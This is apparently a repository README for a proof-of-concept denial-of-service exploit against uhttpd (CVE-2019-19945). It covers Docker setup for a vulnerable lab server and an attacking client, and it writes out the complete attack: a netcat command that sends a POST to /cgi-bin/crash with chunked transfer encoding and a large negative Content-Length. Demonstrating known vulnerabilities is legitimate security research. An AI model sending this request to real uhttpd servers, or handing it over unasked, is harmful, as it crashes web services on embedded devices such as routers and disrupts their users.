delicatebyte/cve-2019-19945_testProof-of-concept exploit for CVE-2019-19945, demonstrating a denial-of-service attack against uhttpd via a crafted POST request with a negative Content-Length header.
This is the code for the first Proposed CVE
Install Docker
Build & RUN Server cd Server docker build -t server/cve . docker run -d --name server -p 80:80 server/cve
Get Server Container IP Linux sudo docker container inspect server | grep -i IPAddress Windows Powershell docker container inspect server | Select-String "IPAddress" Extract IP and add it to Command for building the Client You can check the server by going to localhost:80 in your browser
Build & Run Client by uncommenting the CMD in the Client/Dockerfile the attack will automatically start with the start of the container cd ../Client/ docker build --build-arg server_ip=<SERVER_IP> -t client/cve . docker run -d -p 8080:8080 client/cve
Attach to CLient Docker docker container ls find client/cve container && attach docker exec -it /bin/sh
When Ready Launch Attack ./crash.sh
Server will be unable to respond
There really is no use in providing commented Sourcecode as the Exploit is very short
The Exploit then consits of using Netcat and sending a Post request with a negative large Content-Length to the Server Concering the handling of files in the cgi-bin/ directory
The Execution is conducted using a simple netcat script. Here Referencing a file in the CGI-bin Folder of the Server called Crash nc <SERVER_IP> < crash.poc
POST /cgi-bin/crash HTTP/1.0 Transfer-Encoding: chunked Content-Length: -100000
The largest issue was trying to get the old versions of uhttpd to run in a up to date docker environment.
